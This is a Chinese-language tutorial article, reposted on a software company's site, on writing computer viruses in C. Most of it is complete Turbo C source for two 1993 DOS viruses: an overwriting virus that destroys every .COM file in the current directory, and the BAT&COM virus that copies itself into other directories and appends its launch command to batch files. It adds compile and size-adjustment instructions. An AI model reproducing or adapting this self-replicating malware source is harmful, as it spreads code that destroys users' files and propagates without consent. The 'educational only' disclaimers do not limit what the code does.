監(jiān)理公司管理系統(tǒng) | 工程企業(yè)管理系統(tǒng) | OA系統(tǒng) | ERP系統(tǒng) | 造價(jià)咨詢管理系統(tǒng) | 工程設(shè)計(jì)管理系統(tǒng) | 簽約案例 | 購買價(jià)格 | 在線試用 | 手機(jī)APP | 產(chǎn)品資料
X 關(guān)閉

重溫經(jīng)典 C環(huán)境下的病毒編寫

申請(qǐng)免費(fèi)試用、咨詢電話:400-8352-114

文章來源:泛普軟件

C,是程序員最常用的編程語言之一。類似C等高級(jí)編程語言為開發(fā)人員提供了大量的內(nèi)置函數(shù),可以方便程序員編寫各種跨平臺(tái)的安心的應(yīng)用編程。對(duì)于編寫病毒而言,也方便了程序員來用自己擅長的語言來編寫,但同時(shí)也帶來了很多弊端。第一,許多高級(jí)語言的編程并不基于底層系統(tǒng),即使是C也不太容易。這就導(dǎo)致這類的大都數(shù)病毒的傳播機(jī)制十分原始(通常是通過重寫來實(shí)現(xiàn));另一方面的不足是,大多用高級(jí)語言編寫的病毒至少有10K,然而更多是比這還更大,這對(duì)病毒來說可行不通。如此大的一個(gè)常駐內(nèi)存的病毒將是不切實(shí)際的,因?yàn)楫?dāng)一大塊內(nèi)存不明不白的消失時(shí),這很容易引起用戶的注意。

另一種用高級(jí)語言編寫的是代碼病毒(source-code virus)。這類病毒極其罕見,但是這類病毒是非常高效的。代碼病毒的機(jī)制,簡(jiǎn)而言之,搜索同一類語言的代碼文件,比如說,它可能會(huì)搜找全部以“.C”為擴(kuò)展名的C文件,然后它會(huì)把自己的加到那個(gè)文件里(通常以添加一個(gè)包含此程序的頭文件然后在main()函數(shù)中添加一個(gè)調(diào)用),這使病毒在編譯這文件時(shí)至少執(zhí)行一次。編譯之后,病毒一般會(huì)隱藏在這程序里潛伏,直到找到另一個(gè)C文件。

不管病毒采用哪種方式,所有的病毒都具有如下一些共同的基本特性:

1.搜尋一個(gè)文件進(jìn)行感染,這文件可以是可執(zhí)行文件,源代碼文件,或是什么都行(若沒找到,則跳轉(zhuǎn)到第三步)

2.把病毒本體寫入此文件

3.檢查有沒可滿足的觸發(fā)條件

4.返回宿主程序或是停止運(yùn)行并返回到DOS

對(duì)于重寫型病毒(Overwriting Virus),它的實(shí)現(xiàn)方式很簡(jiǎn)單。唯一的不足是,它們會(huì)摧毀被感染的文件,這使它們很容易被發(fā)現(xiàn)。唯一彌補(bǔ)的辦法是,找到所有的被感染的文件并刪除它們,然后從備件那里恢復(fù)。下面這個(gè)病毒是用C寫的比較簡(jiǎn)單的重寫型病毒,它會(huì)感染當(dāng)前目錄下的所有.COM文件,然后把它們徹底刪除。每當(dāng)它感覺到一個(gè)文件,它會(huì)在屏幕上打印出“Infecting [FILENAME]”(感染 [文件名])警告。如果你想把它編譯并測(cè)試,則首先編譯它,然后用EXE2BIN把它轉(zhuǎn)化成.BIN文件,之后檢查它的最終大小。如果不等于9504K,則改寫這行:“x=9054;”成適當(dāng)?shù)拇笮?。它?huì)以一種很原始的方式:刪除所有的它命中.COM文件,因此得相當(dāng)小心這病毒。

代碼:

- - ------------------ Cut Here -------------------------- - -

/* This is a simple overwriting virus programmed in Turbo C */

/* It will infect all .COM files in the current directory */

/* Infections destroy the programs and cannot be cured */

/* It was presented in Virology 101 (c) 1993 Black Wolf */

/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */

#include 

#include 

#include 

FILE *Virus,*Host;

int x,y,done;

char buff[256];

struct ffblk ffblk;

main()

{

done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */

while (!done) /* Loop for all COM's in DIR*/

{

printf("Infecting %sn", ffblk.ff_name); /* Inform user */

Virus=fopen(_argv[0],"rb"); /* Open infected file */

Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */

x=9504; /* Virus size - must */

/* be correct for the */

/* compiler it is made */

/* on, otherwise the */

/* entire virus may not*/

/* be copied!! */

while (x>256) /* OVERWRITE new Host */

{ /* Read/Write 256 byte */

fread(buff,256,1,Virus); /* chunks until bytes */

fwrite(buff,256,1,Host); /* left < 256 */

x-=256;

}

fread(buff,x,1,Virus); /* Finish off copy */

fwrite(buff,x,1,Host);

fcloseall(); /* Close both files and*/

done = findnext(&ffblk); /* go for another one. */

}

/* Activation would go */

/* here */

return (0); /* Terminate */

}

- - ------------------ Cut Here --------------------------- - -

下面要介紹的病毒也是用C編寫的,但它和上面所講的病毒在功能上有很大的不同。它不是感染可執(zhí)行文件并重寫它們,而是感染指定目錄的.BAT文件。當(dāng)BAT&COM執(zhí)行的時(shí)候,它首先會(huì)在當(dāng)前目錄的下一個(gè)目錄搜尋批處理文件(Batch file)。如果沒有找到任何的BAT文件,它會(huì)試著在根目錄里找,最后會(huì)試著在DOS目錄下找。如果它找到了,它會(huì)感染此目錄下的所有批處理文件,然后檢查這文件已經(jīng)被感染。如果沒有,就生成一個(gè)包含病毒,名叫BAT&COM的文件。在我的設(shè)置里,用EXE2BIN轉(zhuǎn)換之后,最終大小約為10K。這病毒代碼如下:

The BAT&COM Virus in C

代碼:

- - - -----------------Start Code------------------------- - - -

/* This file is a high-level language virus of a different sort.

It will search out batch files and, when found, place a copy

of itself in the directory with the batch file while adding

instructions in the BAT to execute this new file. In this way,

it will spread each time an "infected" batch is run.

Disinfection is done simply by deleting all of the BAT&COM.COM

files and removing the commands from batch files that ruin

them. This one is NOT confined to the current directory,

so make sure it is on an isolated machine and be sure to

clean up any infections. PLEASE DO NOT RELEASE!

BAT&COM virus is (C) 1993 Black Wolf Enterprises.

*/

#include 

#include 

#include 

#include 

struct ffblk ffblk;

main()

{

char old_dir[MAXPATH];

Get_Path(old_dir); /* Save the old directory */

Pick_A_Dir(); /* Find a new directory to */

Infect_Directory(); /* infect and infect it. */

chdir(old_dir); /* Return to old directory */

return 0;

}

Pick_A_Dir()

{

int done;

chdir(".."); /* First, Go out a DIR. */

done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */

/* root and DOS */

if (done)

{

chdir("\");

done=findfirst("*.BAT",&ffblk,0);

if (done) chdir("\DOS\");

}

return 0;

}

Infect_Directory()

{

int done;

done = findfirst("*.BAT",&ffblk,0);

while (!done) /* Find all .BAT files */

{ /* and add code to run */

Do_Batch(); /* BAT&COM if not */

done = findnext(&ffblk); /* already there */

}

if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */

{Copy_Virus();} /* not exist, then */

return 0; /* copy it into dir.*/

}

Do_Batch()

{

FILE *batch;

char Infection_Buffer[12];

char vpath[MAXPATH];

Get_Path(vpath); /* Get path for adding path */

/* specifier in commands */

if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */

batch=fopen(ffblk.ff_name, "rt+");

fseek(batch, -11, SEEK_END);

fread(Infection_Buffer,11,1,batch);

Infection_Buffer[11]=0; /* Terminate String */

if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */

{ /* Batch is */

fseek(batch, 0, SEEK_END); /* infected.*/

fprintf(batch,"n%s\BAT&COM.COM",vpath);

} /*^- Add command */

/* to batch */

fclose(batch);

return 0;

}

Copy_Virus()

{

FILE *old_virus, *new_virus;

int write_length;

char copy_buffer[1024]; /* Copy the virus to */

/* new directory */

old_virus=fopen(_argv[0],"rb");

new_virus=fopen("BAT&COM.COM","wb");

write_length=1024;

while (write_length==1024)

{

write_length=fread(copy_buffer,1,1024,old_virus);

fwrite(copy_buffer,write_length,1,new_virus);

}

fclose(old_virus);

fclose(new_virus);

return 0;

}

Get_Path(char *path)

{

strcpy(path, "A:\");

path[0] ='A' + getdisk(); /* Returns current path */

getcurdir(0, path+3);

return 0;

}

- - - -----------------End of Code------------------------ - - -

(IT專家網(wǎng))

發(fā)布:2007-04-21 14:08    編輯:泛普軟件 · xiaona    [打印此頁]    [關(guān)閉]
相關(guān)文章:
長春OA系統(tǒng)
聯(lián)系方式

成都公司:成都市成華區(qū)建設(shè)南路160號(hào)1層9號(hào)

重慶公司:重慶市江北區(qū)紅旗河溝華創(chuàng)商務(wù)大廈18樓

咨詢:400-8352-114

加微信,免費(fèi)獲取試用系統(tǒng)

QQ在線咨詢

泛普長春OA行業(yè)資訊其他應(yīng)用

長春OA軟件 長春OA新聞動(dòng)態(tài) 長春OA信息化 長春OA快博 長春OA行業(yè)資訊 長春軟件開發(fā)公司 長春門禁系統(tǒng) 長春物業(yè)管理軟件 長春倉庫管理軟件 長春餐飲管理軟件 長春網(wǎng)站建設(shè)公司